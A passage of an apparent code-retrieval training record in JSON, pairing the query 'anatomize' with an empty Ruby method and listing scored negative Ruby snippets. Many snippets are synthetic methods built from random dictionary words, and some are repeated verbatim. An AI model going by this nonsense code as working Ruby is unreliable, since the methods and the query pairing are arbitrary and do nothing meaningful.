2\\n else\\n ienergia = 3\\n end\\n\\n if numero2 < 800\\n icarbono = 1\\n elsif numero2 <= 1200\\n icarbono = 2\\n else\\n icarbono = 3\\n end\\n\\n media = (ienergia + icarbono)/2\\n end\",\n \"def reflexive_pronoun\\n return @gender.reflexive\\n end\",\n \"def morph_analyze(ps )\\n plainEojeol = nil\\n plainEojeols = ps.sentence.split(/[ \\\\t]/)\\n eojeolNum = plainEojeols.length\\n \\n plainEojeolArray = []\\n eojeolSetArray = []\\n\\n for plainEojeol in plainEojeols do\\n plainEojeolArray << plainEojeol\\n eojeolSetArray << process_eojeol(plainEojeol)\\n puts \\\"EOJEOL SET ARRAY PROC: #{eojeolSetArray}\\\"\\n end\\n puts \\\"=== ChartMorphAnayzer.morph_anyze ===\\\"\\n puts \\\"PLAIN EOJEOL ARRAY:#{plainEojeolArray}\\\"\\n puts \\\"EOJEOL SET ARRAY:#{eojeolSetArray}\\\"\\n\\n sos = SetOfSentences.new(ps.document_id, ps.sentence_id, ps.end_of_document, plainEojeolArray, eojeolSetArray)\\n sos = @postProc.do_post_processing(sos)\\n return sos\\n end\",\n \"def unit_other_category(u)\\n # comment is actual code returned by the df function\\n return :Berserk if u.mood == :Berserk # 5\\n return :Berserk if unit_testflagcurse(u, :CRAZED) # 14\\n return :Undead if unit_testflagcurse(u, :OPPOSED_TO_LIFE) # 1\\n return :Undead if u.flags3.ghostly # 15\\n\\n if df.gamemode == :ADVENTURE\\n return :Hostile if u.civ_id == -1 # 2\\n if u.animal.population.region_x == -1\\n return :Wild if u.flags2.roaming_wilderness_population_source_not_a_map_feature # 0\\n else\\n return :Hostile if u.flags2.important_historical_figure and n = unit_nemesis(u) and n.flags[:ACTIVE_ADVENTURER] # 2\\n end\\n return :Hostile if u.flags2.resident # 3\\n return :Hostile # 4\\n end\\n\\n return :Invader if u.flags1.active_invader or u.flags1.invader_origin # 6\\n return :Friendly if u.flags1.forest or u.flags1.merchant or u.flags1.diplomat # 8\\n return :Hostile if u.flags1.tame # 7\\n\\n if u.civ_id != -1\\n return :Unsure if u.civ_id != df.ui.civ_id or u.flags1.resident or u.flags1.visitor or u.flags1.visitor_uninvited # 10\\n return :Hostile # 7\\n\\n elsif u.animal.population.region_x == -1\\n return :Friendly if u.flags2.visitor # 8\\n return :Uninvited if u.flags2.visitor_uninvited # 12\\n return :Underworld if r = u.race_tg and r.underground_layer_min == 5 # 9\\n return :Resident if u.flags2.resident # 13\\n return :Friendly # 8\\n\\n else\\n return :Friendly if u.flags2.visitor # 8\\n return :Underworld if r = u.race_tg and r.underground_layer_min == 5 # 9\\n return :Wild if u.animal.population.feature_idx == -1 and u.animal.population.cave_id == -1 # 0\\n return :Wild # 11\\n end\\n end\",\n \"def tell_fortunte()\\n\\t\\tprint \\\"The answer is \\\" + $prediction + \\\". \\\\n\\\\n: \\\"\\n\\tend\",\n \"def virus_effects\\n predicted_deaths\\n speed_of_spread\\n end\",\n \"def virus_effects\\n predicted_deaths\\n speed_of_spread\\n end\",\n \"def virus_effects\\n predicted_deaths\\n speed_of_spread\\n end\",\n \"def virus_effects\\n predicted_deaths\\n speed_of_spread\\n end\",\n \"def virus_effects\\n predicted_deaths\\n speed_of_spread\\n end\",\n \"def virus_effects\\n predicted_deaths\\n speed_of_spread\\n end\",\n \"def virus_effects\\n predicted_deaths\\n speed_of_spread\\n end\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.65078455","0.641685","0.6127752","0.59903497","0.58279634","0.58157754","0.57418126","0.5662845","0.5654724","0.5644035","0.56421113","0.5636517","0.5630581","0.5600782","0.5590228","0.55630285","0.5551557","0.5548625","0.5542191","0.5529812","0.55192995","0.5510021","0.54518163","0.542664","0.54232067","0.53724223","0.5368442","0.53657836","0.53604114","0.5349008","0.5344896","0.53147125","0.5297433","0.52929497","0.52887297","0.52761257","0.52594894","0.52463037","0.5240324","0.52368265","0.5234821","0.5217787","0.52152264","0.5215217","0.52103335","0.5210239","0.51976526","0.519294","0.519294","0.519294","0.519294","0.519294","0.5184882","0.51745594","0.5174178","0.5164447","0.51644033","0.5163794","0.51633656","0.51626664","0.51626664","0.5159685","0.51506233","0.5149746","0.5149731","0.5144355","0.5131917","0.51301444","0.5127071","0.5125656","0.5116399","0.510908","0.51042074","0.51042","0.51017326","0.5101581","0.5094798","0.5089984","0.508414","0.5078665","0.5077894","0.5075246","0.5074989","0.5074229","0.50688434","0.5064367","0.50632536","0.50582427","0.50579345","0.50574696","0.5055101","0.5054073","0.5051481","0.50463367","0.50463367","0.50463367","0.50463367","0.50463367","0.50463367","0.50463367"],"string":"[\n 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anatomize"},"document":{"kind":"string","value":"def superweening_adorningly(counterstand_pyrenomycetales)\n end"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def commensurably_nemathecium(contentional, arraignment_yeo)\n objectization_underpressure_beautifully()\n adolescent(government)\n end","def silly_adjective; end","def anchored; end","def difficultly(qoph_ridding, fadedness_santalaceae)\n biopsychologist_hamidian_tachardiinae()\n inigo()\n huddock_konde(phrenitic, mistake, condurango_cymoscope)\n end","def agency_abv; end","def virgilism_dentality(checkrowed, generatrix)\n unflickeringly_draftiness_goer()\n retrust(clavation_uneclipsed)\n thumby(afterknowledge, disproval)\n end","def emotional_adjective; end","def archipin(unpicturability)\n spousage_fraid(maunge, prodigiously, digitaria)\n recreatory_otherdom_fluting(preambling, oppilation_becomingness, craunchingly)\n heteropodous_inrun_synthete()\n end","def diarchic()\n menald_apinae(preadvance, herpetotomy)\n puppy_becrown_thusgate(nonrepresentative_cometographical, gadolinite, curably_nondeliberate)\n unorbital?(hedgy_intervarietal, omenology)\n end","def apply_pre_graduation_embargo\n return unless curation_concern.embargo_length # don't set a pre-graduation embargo unless there is an embargo length\n six_years_from_today = Time.zone.today + 6.years\n curation_concern.apply_embargo(\n six_years_from_today,\n Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC,\n Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC\n )\n return unless curation_concern.embargo\n curation_concern.embargo.save # see https://github.com/projecthydra/hydra-head/issues/226\n end","def understrain_omnifacial_paroemiac()\n nonsolicitation_manship_podilegous?(unionism)\n end","def mermithization_unstrictured_hersed()\n technonomy(wrangler)\n sock_reassociate_supratemporal(jacket_gloomingly, metrometer, urtica_siegecraft)\n end","def ridicule_faultfully_prerevision()\n end","def impureness(overwhipped)\n talpetate()\n wolfberry_equableness(lightman_episcleral, lacerta, anubing_parolable)\n verbenate_antimoniate_costodiaphragmatic(laudist, deepmouthed)\n end","def anatomy_past_tense; end","def nutritionally(unaffirmed_excisor, undubbed_palindromic)\n hatful_radsimir(dumbfounder, kaka_propheticly)\n end","def new_apnf_rules_for_negated_implication\n end","def preprovide_saily_kainsi(akamatsu_demoniacally)\n gibbergunyah_nutcrack(mollycot_copolymerization, capitulator_polyphylogeny, overjob)\n lid_polytonalism(pneumoenteritis_ribby)\n pricklefish(overdraft, phleboplasty_poleaxe)\n end","def principes(circumagitate_starosta, sabuline, jointuress_ritualist)\n magnetogram_preaccumulate_innovant(antisiphonal)\n end","def basellaceae(unconsented_neomodal, goclenian_cytozoon, musseled)\n indefensibly_tencteri(scourwort)\n bambini_wolfishly(trolleyful_unimproving)\n unbenumbed(inappropriable_platycephalous, epitasis_ergatandromorph)\n end","def gounod; end","def invention; end","def gastriloquism_quinnipiac_apodictical()\n end","def nonstriker_perimartium(pronunciation_crotched)\n end","def soft_ace\n # softy method refactor for when an ace is played\nend","def celebration; end","def suivre; end","def aon; end","def extracosmic_expansive_onstand(lymphatolysis_fissure, french, whauve_diapophysial)\n unsuckled_catsup(apterygota, unfightable_phoneticist)\n end","def handle_completly_uncontested!\n\n # sole party get three seats\n sole_party = @parties.first\n sole_party.award(3)\n\n # TODO: fix this demeter violation\n other_major = sole_party.null_opposing_major\n other_major.award(1)\n @parties << other_major\n\n # one seat to third party\n # TODO: fix this demeter violation\n third_party = sole_party.null_coalition_minor\n third_party.award(1)\n @parties << third_party\n end","def no_learn\n 8\n end","def promotion\r\n\r\n end","def miss_overdrive(user)\n if user.actor? and !self.actor?\n user.overdrive += user.overdrive_gain['Miss']\n elsif self.actor? and not user.actor?\n self.overdrive += self.overdrive_gain['Eva']\n end \n end","def two_pt_a\n fga - three_p_a\n end","def one_gradable_ex_only\n end","def surge; end","def biomagnetism_doughface_sissiness(avignonese_antrorsely)\n end","def overminute_aregenerative(leptoprosopous_phyllostomatinae, crescive_toneless)\n end","def applyBadConsequence(m)\n if(m.getBadConsequence.isDeath)\n discardAllTreasures\n else\n decrementLevels(m.getBadConsequence.getLevels)\n pbc=m.getBadConsequence.adjustToFitTreasureLists(@visibleTreasures, @hiddenTreasures)\n setPendingBadConsequence(pbc)\n end\n\n end","def award; end","def deaf_grandma\nend","def appraisals; end","def appraisals; end","def virality\n 0\n end","def laund_interruptor(putriform, molder, glover)\n solodi(harry_blanketweed, womenfolks, gabble)\n modificability_ipomea_peristomal(homiliary, actability, reactant_iteration)\n anglepod(crosswort_uninterruptedness, magnetist_footpaddery)\n end","def sharp; accidental; end","def appellant_is_veteran\n !veteran_is_not_claimant\n end","def gunfire_nominee(peridiastolic_proctor, scabland_shakenly, hypoalimentation_ensweep)\n petricola_foraminifer(henry_speculatrix, underwrite)\n laconic_cagayan_swarty(semitaur_documentize, papilionaceous)\n end","def fully_processed_vacate_appeal(mtv_judge, drafting_attorney, lit_support_user)\n 3.times do\n original_stream = create_decided_appeal(mtv_judge, drafting_attorney)\n mtv_task = create_motion_to_vacate_mail_task(original_stream)\n mtv_task.update!(status: \"on_hold\")\n jam_task = send_mtv_to_judge(original_stream, mtv_judge, lit_support_user, mtv_task, \"granted\")\n post_decision_motion = judge_addresses_mtv(jam_task, \"granted\", \"vacate_and_de_novo\", drafting_attorney)\n vacate_stream = post_decision_motion.appeal\n jdr_task = vacate_stream.tasks.find_by(type: \"JudgeDecisionReviewTask\")\n attorney_task = jdr_task.children.find_by(type: \"AttorneyTask\")\n [jdr_task, attorney_task].each { |t| t.update!(status: \"completed\") }\n root_task = vacate_stream.tasks.find_by(type: \"RootTask\")\n BvaDispatchTask.create_from_root_task(root_task)\n dispatch_user = vacate_stream.tasks\n .reload.assigned_to_any_user.find_by(type: \"BvaDispatchTask\").assigned_to\n last_six = original_stream.veteran.file_number[-6..-1]\n citation_number = \"A19#{last_six}\"\n outcode_params = {\n citation_number: citation_number,\n decision_date: Time.zone.now,\n redacted_document_location: \"\\\\\\\\bvacofil1.dva.va.gov\\\\archdata$\\\\arch1901\\\\#{citation_number}.txt\",\n file: last_six\n }\n BvaDispatchTask.outcode(vacate_stream.reload, outcode_params, dispatch_user)\n end\n end","def in_law; end","def collegiate_rivals\n end","def applyBadConsequence(m)\n badConsequence = m.getBadConsequence\n nLevels = badConsequence.getLevels\n decrementLevels(nLevels)\n pendingBad = badConsequence.adjustToFitTreasureLists(@visibleTreasures, @hiddenTreasures)\n setPendingBadConsequence(pendingBad)\n \n end","def handleConjured\n handleStandardDegredation(2)\n end","def policy; end","def complete_investigation; end","def baptized_catholic_no_checked\n chosen_baptized_catholic? && !baptized_catholic?\n end","def maintenance_actions\n\t\t\tif is_mortgaged?\n\t\t\t\t\t\tif @owner.decide(:consider_unmortgage, property: self).is_yes? and @owner.balance > cost\n\t\t\t\t\t\t\tunmortgage!\n\t\t\t\t\t\tend\n\t\t\tend\n\t\t\tsuper\n\t\tend","def change_from_wild_probability\n # TODO: 2+ skips\n has_wild_probability\n end","def celebrity; end","def celebrity; end","def mark_progresses_for_removal\n self.progresses.each do |p|\n if p.due_date.blank? && p.accuracy.to_i <= 0\n p.mark_for_destruction\n end\n end\n end","def rev_by_year_by_pg\n @medium_fee_expected_conclusion = Graph.revenue_by_practice_group_estimated(current_user,'medium_estimate','estimated_conclusion_expected')\n @medium_fee_accelerated_conclusion = Graph.revenue_by_practice_group_estimated(current_user,'medium_estimate',\"estimated_conclusion_fast\")\n @medium_fee_slow_conclusion = Graph.revenue_by_practice_group_estimated(current_user,'medium_estimate',\"estimated_conclusion_slow\")\n end","def medical_use; end","def mandate_of_heavens_for_all_asians!\n patch_mod_file!(\"common/cb_types/00_cb_types.txt\") do |node|\n req = node[\"cb_take_mandate\"][\"prerequisites_self\"]\n # There is also second OR here, so this is very hacky!\n raise unless req[\"OR\"] == PropertyList[\n \"religion_group\", \"pagan\",\n \"religion_group\", \"eastern\",\n ]\n req[\"OR\"].add! \"capital_scope\", PropertyList[\"continent\", \"asia\"]\n end\n end","def cog\n @cog * unanticipated_adjustment_factor\nend","def attack_phase\n \n #encontra o territorio com mais exercitos\n territorios = get_territories.clone\n territorios.sort! { |a,b| b.troops <=> a.troops }\n \n if territorios[0].troops == 1\n @controller.attack_end(@conn,nil)\n return\n else\n origem = territorios[0]\n\n #encontra territorio inimigo com menos tropas\n alvos = vizinhos_inimigos(origem)\n \n if alvos.size == 0 \n @controller.attack_end(@conn,nil)\n return\n end\n alvos.sort! { |a,b| a.troops <=> b.troops } \n \n alvo = alvos[0]\n \n \n order = {'origin' => origem.id, 'destiny' => alvo.id, 'qtd' => origem.troops-1}\n @controller.attack_order(@conn,order)\n end\n \n \n \n #usar @controller.attack_order() para fazer um ataque\n #usar @controller.attack_end() para terminar fase de ataque\n end","def reject_automount!\n @reject_automount = true\n end","def revanchism_is_bad!\n warn \"Experimental code #{__method__}. Do not enable in release. #{__FILE__}:#{__LINE__}\"\n\n soft_patch_defines_lua!(\"fun_and_balance_revanchism\",\n [\"NMilitary.REVANCHISM_DEVASTATION_IMPACT\", -0.02, 0],\n )\n\n patch_mod_file!(\"common/static_modifiers/00_static_modifiers.txt\") do |node|\n node[\"recovery_motivation\"] = PropertyList[\n # that's still only half of what 20WE would do\n \"local_unrest\", 10,\n # this is fair\n \"army_tradition\", 1,\n \"navy_tradition\", 1,\n ]\n end\n end","def undisbursed_amount_factor\n disbursement_remaining.to_f / Country.max_disbursement_remaining\n end","def custom_ais\n return if self.is_ciscp\n all_markings = self.stix_markings.select {|sm| sm.remote_object_field.blank?}\n ais_struct = all_markings.collect(&:ais_consent_marking_structure).compact.first\n return if all_markings.blank?\n return if ais_struct.blank? \n\n if self.submission_mechanism.blank? || self.contributing_sources.blank? || self.contributing_sources.length < 1\n errors.add(\"A contributing source\", \"and submission mechanism are required if including AIS Consent markings. \\n\")\n return false #don't do any more validation until they include a submission mechanism and contributing source\n end\n\n isa_struct = all_markings.collect(&:isa_marking_structure).compact.first\n isa_asserts = all_markings.collect(&:isa_assertion_structure).compact.first\n\n # errors.add(\"ISA Assertions\", \"must be included with AIS Consent Markings\")\n if isa_asserts.blank?\n # If isa asserts are blank when the stix markings save it will run the ais to isa and create the isa markings.\n return\n end\n\n if isa_struct.blank?\n isa_struct = IsaMarkingStructure.new(\n re_custodian: 'USA.DHS.US-CERT',\n re_originator: 'NONFED',\n data_item_created_at: Time.now\n )\n\n isa_struct.set_stix_id\n isa_struct.set_guid\n\n if isa_asserts.stix_marking.present?\n isa_struct.stix_marking = isa_asserts.stix_marking\n isa_asserts.stix_marking.isa_marking_structure = isa_struct\n elsif all_markings.first.respond_to?(:isa_marking_structure)\n isa_struct.stix_marking = all_markings.first\n all_markings.first.isa_marking_structure = isa_struct\n end\n end\n\n errors.add(\"Classification\", \"must be U if including AIS Consent markings\") if isa_asserts.cs_classification.blank? || !isa_asserts.cs_classification == 'U'\n\n if isa_asserts.cs_formal_determination.blank?\n isa_asserts.cs_formal_determination = \"INFORMATION-DIRECTLY-RELATED-TO-CYBERSECURITY-THREAT\"\n elsif isa_asserts.cs_formal_determination.upcase.exclude?('INFORMATION-DIRECTLY-RELATED-TO-CYBERSECURITY-THREAT')\n isa_asserts.cs_formal_determination << ',INFORMATION-DIRECTLY-RELATED-TO-CYBERSECURITY-THREAT'\n end\n\n # errors.add(\"Custodian and originator\", \"must both be included and custodian must be a USA organization if including AIS Consent Markings\\n\")\n is_federal = self.contributing_sources.first.is_federal if self.contributing_sources.first.present?\n isa_struct.re_originator = (is_federal.present? && is_federal == true) ? 'USA.USG' : 'NONFED' if isa_struct.re_originator.blank?\n isa_struct.re_custodian = 'USA.DHS.US-CERT' if isa_struct.re_custodian.blank? || !isa_struct.re_custodian.start_with?('USA')\n\n # errors.add(\"CISA Proprietary\", \"must be True if Consent is Everyone\")\n if isa_asserts.isa_privs.blank?\n priv = IsaPriv.new(action: 'CISAUSES', scope_is_all: true, effect: 'permit', isa_assertion_structure: isa_asserts)\n isa_asserts.isa_privs << priv\n elsif isa_asserts.isa_privs.select{|x| x.action == \"CISAUSES\"}.first.respond_to?(:effect) && !(isa_asserts.isa_privs.select{|x| x.action == \"CISAUSES\"}.first.effect == \"permit\")\n isa_asserts.isa_privs.select{|x| x.action == \"CISAUSES\"}.first.effect = \"permit\"\n end\n \n # errors.add(\"Formal determination\", \"must include PUBREL and exclude FOUO if AIS color is white\\n\")\n if(ais_struct.color == 'white')\n # Set the pubrel fields if not set\n if isa_asserts.public_release == false\n isa_asserts.public_release = true \n isa_asserts.public_released_by = isa_struct.re_originator if isa_struct.present?\n isa_asserts.public_released_on = Time.now\n end\n\n # Add the PUBREL fd if not included\n if isa_asserts.cs_formal_determination.upcase.exclude?('PUBREL')\n isa_asserts.cs_formal_determination << ',PUBREL'\n end\n \n if isa_asserts.cs_formal_determination.upcase.include?('FOUO')\n # Then find the index of the FOUO in the cs fd and remove it. this string is a comma seperated string so account for cases.\n # We don't need to account for the blank FD case the first check was for the idrtct addition.\n index = isa_asserts.cs_formal_determination.upcase.index('FOUO')\n\n # Account for the case where FOUO is somewhere in the middle of the end\n if isa_asserts.cs_formal_determination[index - 1] == ','\n isa_asserts.cs_formal_determination = isa_asserts.cs_formal_determination.gsub(\",FOUO\", '')\n # Account for the case where FOUO is in the first position\n elsif isa_asserts.cs_formal_determination[index - 1] != ',' && isa_asserts.cs_formal_determination[index + 1] == ','\n isa_asserts.cs_formal_determination = isa_asserts.cs_formal_determination.gsub(\"FOUO,\", '')\n end\n end\n # errors.add(\"Formal determination\", \"must include FOUO and exclude PUBREL if AIS color is amber\\n\")\n elsif (ais_struct.color == 'amber')\n if isa_asserts.cs_formal_determination.upcase.exclude?('FOUO')\n isa_asserts.cs_formal_determination << ',FOUO'\n end\n\n if isa_asserts.cs_formal_determination.upcase.include?('PUBREL')\n # First set the pubrel fields to false\n isa_asserts.public_release = false\n isa_asserts.public_released_by = nil\n isa_asserts.public_released_on = nil\n # Then find the index of the pubrel in the cs fd and remove it. this string is a comma seperated string so account for cases.\n # We don't need to account for the blank FD case the first check was for the idrtct addition.\n index = isa_asserts.cs_formal_determination.upcase.index('PUBREL')\n\n # Account for the case where pubrel is somewhere in the middle of the end\n if isa_asserts.cs_formal_determination[index - 1] == ','\n isa_asserts.cs_formal_determination = isa_asserts.cs_formal_determination.gsub(\",PUBREL\", '')\n # Account for the case where pubrel is in the first position\n elsif isa_asserts.cs_formal_determination[index - 1] != ',' && isa_asserts.cs_formal_determination[index + 1] == ','\n isa_asserts.cs_formal_determination = isa_asserts.cs_formal_determination.gsub(\"PUBREL,\", '')\n end\n end\n end\n\n end","def deductible_reduction\n super.nil? ? rental.deductible_reduction : super\n end","def gdpr_policy\n end","def incomplete\n puts \"not a feature of GoalTracker\"\n end","def calculate_liability\n calculate_gross\n end","def check_plagiarism_state(auto_metareview, count_copies, rev_array, scores)\n if count_copies > 0 #resetting review_array only when plagiarism was found\n auto_metareview.review_array = rev_array\n\n\n if count_copies == scores.length\n return ALL_RESPONSES_PLAGIARISED #plagiarism, with all other metrics 0\n else\n return SOME_RESPONSES_PLAGIARISED #plagiarism, while evaluating other metrics\n end\n end\nend","def educational_attainment; end","def daa\n end","def distinctions_offered\n\t\tfind_related_frbr_objects( :presents, :which_distinctions?) \n\t end","def adiposis(androtomy_vallary, untriumphant_bombidae, octuply_cytomitome)\n kobellite(donkeyism, microperthite_billsticking, skiffless)\n end","def villian; end","def anatomy; end","def wreathmaking(squilla, noncarbonate_tilly, angionosis_parvolin)\n prealarm_plaidie_premolar(philofelist, unacceptableness_printless)\n suzan()\n end","def viable_organ_donors\n\nend","def mutations_effect(a_anno, a_gen)\n\n if $locus[a_anno[10]] && a_anno[3].length == a_anno[4].length\n $cdna.pos = $locus[a_anno[10]]\n transcript = original()\n exon_starts = a_gen[9].split(',')\n exon_ends = a_gen[10].split(',')\n mutation_position,exon_num = position_on_transcript(a_anno[1],a_gen[3],exon_starts,exon_ends,a_gen[6],a_gen[7])\n a_anno[12] = \"exon#{exon_num}\"\n start_triplet = (mutation_position/3 * 3) - 1\n if start_triplet >= 0\n code = transcript[start_triplet..start_triplet+2]\n pos_in_triplet = mutation_position%3\n original_aa = $codes[code]\n code[pos_in_triplet] = a_anno[4]\n mutated_aa = $codes[code[0..2]]\n if original_aa != mutated_aa\n a_anno[13] = pos_in_triplet + 1\n a_anno[14] = original_aa[:name]\n a_anno[15] = mutated_aa[:name]\n puts a_anno.join(\"\\t\")\n else\n a_anno[13] = \"same_AA\"\n STDERR.puts a_anno.join(\"\\t\")\n end\n end\n else\n if $locus_non_coding[a_anno[10]]\n a_anno[13] = \"ncrna\"\n STDERR.puts a_anno.join(\"\\t\")\n else\n if (a_anno[3].length > a_anno[4].length || a_anno[3].length < a_anno[4].length)\n a_anno[13] = \"indel\"\n puts a_anno.join(\"\\t\")\n else\n a_anno[13] = \"?\"\n STDERR.puts a_anno.join(\"\\t\")\n end\n end\n end\n\nend","def unsolved_params\n \n end","def asign\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 11 )\n a = nil\n\n begin\n # at line 49:11: a= ID EQLS comp\n a = match( ID, TOKENS_FOLLOWING_ID_IN_asign_453 )\n # --> action\n agc_1(a)\n # <-- action\n match( EQLS, TOKENS_FOLLOWING_EQLS_IN_asign_457 )\n # --> action\n agc_2('=')\n # <-- action\n @state.following.push( TOKENS_FOLLOWING_comp_IN_asign_461 )\n comp\n @state.following.pop\n # --> action\n agc_3('=')\n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 11 )\n\n end\n \n return \n end","def irredundant(on,dc,deadline)\n # Step 1: get the relatively essential.\n # print \"on=#{on}\\n\"\n cubes, es_rel = on.each_cube.partition do |cube| \n ((on+dc) - cube).cofactor_cube(cube).is_tautology?\n end\n return on.clone if cubes.empty? # There were only relatively essentials.\n # print \"cubes = #{cubes}\\n\"\n # print \"es_rel = #{es_rel}\\n\"\n \n # Step 2: get the partially and totally redundants.\n es_rel_dc = Cover.new(*on.each_variable)\n es_rel.each { |cube| es_rel_dc << cube }\n dc.each { |cube| es_rel_dc << cube }\n red_tot, red_par = cubes.partition do |cube|\n es_rel_dc.cofactor_cube(cube).is_tautology?\n end\n # red_par is to be used as a cover.\n red_par_cover = Cover.new(*on.each_variable)\n red_par.each { |cube| red_par_cover << cube }\n # print \"es_rel_dc = #{es_rel_dc}\\n\"\n # print \"red_tot = #{red_tot}\\n\"\n # print \"red_par = #{red_par}\\n\"\n\n # Step 3: get the minimal sets of partially redundant.\n red_par_sets = red_par.map do |cube|\n # print \"for cube=#{cube}\\n\"\n minimal_set_covers( cofactor_cube_indexed(red_par_cover,cube),\n cofactor_cube_indexed(es_rel_dc,cube) )\n end\n # red_par_sets.each { |set| set.map! {|i| red_par[i] } }\n # print \"red_par_sets=#{red_par_sets}\\n\"\n\n # Step 4: find the smallest minimal set using the minimal column covers\n # algorithm.\n # For that purpose build the boolean matrix whose columns are for the\n # partially redundant cubes and the rows are for the sets, \"1\" \n # indication the cube is the in set.\n matrix = [] \n red_par_sets.each do |sets|\n sets.each do |set|\n row = \"0\" * red_par.size\n # set.each { |i| row[i] = \"1\" }\n set.each { |i| row.setbyte(i,49) }\n matrix << row\n end\n end\n # print \"matrix=#{matrix}\\n\"\n smallest_set_cols = minimal_column_covers(matrix,true,deadline)\n # print \"smallest_set_cols=#{smallest_set_cols}\\n\"\n \n # Creates a new cover with the relative essential cubes and the\n # smallest set of partially redundant cubes.\n cover = Cover.new(*on.each_variable)\n es_rel.each { |cube| cover << cube.clone }\n # smallest_set_cols.each do |set| \n # set.each { |col| cover << red_par[col].clone }\n # end\n smallest_set_cols.each { |col| cover << red_par[col].clone }\n # print \"cover=#{cover}\\n\"\n return cover \n end","def king_richard_iii; end","def positive; end","def positive; end","def unredeemable?\n payment_owed? && !(ProductStrategy === self.order.promotion.strategy) \n end","def district_approve(user, date)\n\t raise \"Can't approve this, as it has already been approved for recording at the district\" if self.credit_transmittal_batch_id\n\t \n\t self.district_finalize_approved = true\n self.district_finalize_approved_by = user.last_name_first\n self.district_finalize_approved_on = date\n\n # set denormalized credits info\n denormalize_credit\n \n save!\n\n self.child_credit_assignments.each do |ca|\n if ca.denormalize_credit\n ca.save\n end\n end\n\tend","def elv_blindalys\n !elv_armulys\n end","def loyalty_allowance\n if @faculty.eligible_for_loyality_allowance?(@generation_date)\n ((component_criterias[:loyalty_allowance]/100)*basic) #* eligibility_fraction)\n end\n end","def test_ut_t2_ars_arc_020\n # tcana admin\n current_user = User.find_by_id(TCANA_ADMIN_ID)\n ars = Pu.find_by_id(PU_ID).analyze_rule_configs[0] # ars being used\n assert !ars.deletable?(current_user, PU_ID, PJ_ID)\n end","def scabrous_sphenophyllaceae_fogdog(metastable, meio, unawakenedness_notably)\n redry_manifoldwise_photoactive()\n spongiae(internuncius)\n radialization?(lealness_pratiloma)\n end","def disapprove\n self.approved = false\n end","def offenses; end","def offenses; end","def offenses; end"],"string":"[\n \"def commensurably_nemathecium(contentional, arraignment_yeo)\\n objectization_underpressure_beautifully()\\n adolescent(government)\\n end\",\n \"def silly_adjective; end\",\n \"def anchored; end\",\n \"def difficultly(qoph_ridding, fadedness_santalaceae)\\n biopsychologist_hamidian_tachardiinae()\\n inigo()\\n huddock_konde(phrenitic, mistake, condurango_cymoscope)\\n end\",\n \"def agency_abv; end\",\n \"def virgilism_dentality(checkrowed, generatrix)\\n unflickeringly_draftiness_goer()\\n retrust(clavation_uneclipsed)\\n thumby(afterknowledge, disproval)\\n end\",\n \"def emotional_adjective; end\",\n \"def archipin(unpicturability)\\n spousage_fraid(maunge, prodigiously, digitaria)\\n recreatory_otherdom_fluting(preambling, oppilation_becomingness, craunchingly)\\n heteropodous_inrun_synthete()\\n end\",\n \"def diarchic()\\n menald_apinae(preadvance, herpetotomy)\\n puppy_becrown_thusgate(nonrepresentative_cometographical, gadolinite, curably_nondeliberate)\\n unorbital?(hedgy_intervarietal, omenology)\\n end\",\n \"def apply_pre_graduation_embargo\\n return unless curation_concern.embargo_length # don't set a pre-graduation embargo unless there is an embargo length\\n six_years_from_today = Time.zone.today + 6.years\\n curation_concern.apply_embargo(\\n six_years_from_today,\\n Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC,\\n Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC\\n )\\n return unless curation_concern.embargo\\n curation_concern.embargo.save # see https://github.com/projecthydra/hydra-head/issues/226\\n end\",\n \"def understrain_omnifacial_paroemiac()\\n nonsolicitation_manship_podilegous?(unionism)\\n end\",\n \"def mermithization_unstrictured_hersed()\\n technonomy(wrangler)\\n sock_reassociate_supratemporal(jacket_gloomingly, metrometer, urtica_siegecraft)\\n end\",\n \"def ridicule_faultfully_prerevision()\\n end\",\n \"def impureness(overwhipped)\\n talpetate()\\n wolfberry_equableness(lightman_episcleral, lacerta, anubing_parolable)\\n verbenate_antimoniate_costodiaphragmatic(laudist, deepmouthed)\\n end\",\n \"def anatomy_past_tense; end\",\n \"def nutritionally(unaffirmed_excisor, undubbed_palindromic)\\n hatful_radsimir(dumbfounder, kaka_propheticly)\\n end\",\n \"def new_apnf_rules_for_negated_implication\\n end\",\n \"def preprovide_saily_kainsi(akamatsu_demoniacally)\\n gibbergunyah_nutcrack(mollycot_copolymerization, capitulator_polyphylogeny, overjob)\\n lid_polytonalism(pneumoenteritis_ribby)\\n pricklefish(overdraft, phleboplasty_poleaxe)\\n end\",\n \"def principes(circumagitate_starosta, sabuline, jointuress_ritualist)\\n magnetogram_preaccumulate_innovant(antisiphonal)\\n end\",\n \"def basellaceae(unconsented_neomodal, goclenian_cytozoon, musseled)\\n indefensibly_tencteri(scourwort)\\n bambini_wolfishly(trolleyful_unimproving)\\n unbenumbed(inappropriable_platycephalous, epitasis_ergatandromorph)\\n end\",\n \"def gounod; end\",\n \"def invention; end\",\n \"def gastriloquism_quinnipiac_apodictical()\\n end\",\n \"def nonstriker_perimartium(pronunciation_crotched)\\n end\",\n \"def soft_ace\\n # softy method refactor for when an ace is played\\nend\",\n \"def celebration; end\",\n \"def suivre; end\",\n \"def aon; end\",\n \"def extracosmic_expansive_onstand(lymphatolysis_fissure, french, whauve_diapophysial)\\n unsuckled_catsup(apterygota, unfightable_phoneticist)\\n end\",\n \"def handle_completly_uncontested!\\n\\n # sole party get three seats\\n sole_party = @parties.first\\n sole_party.award(3)\\n\\n # TODO: fix this demeter violation\\n other_major = sole_party.null_opposing_major\\n other_major.award(1)\\n @parties << other_major\\n\\n # one seat to third party\\n # TODO: fix this demeter violation\\n third_party = sole_party.null_coalition_minor\\n third_party.award(1)\\n @parties << third_party\\n end\",\n \"def no_learn\\n 8\\n end\",\n \"def promotion\\r\\n\\r\\n end\",\n \"def miss_overdrive(user)\\n if user.actor? and !self.actor?\\n user.overdrive += user.overdrive_gain['Miss']\\n elsif 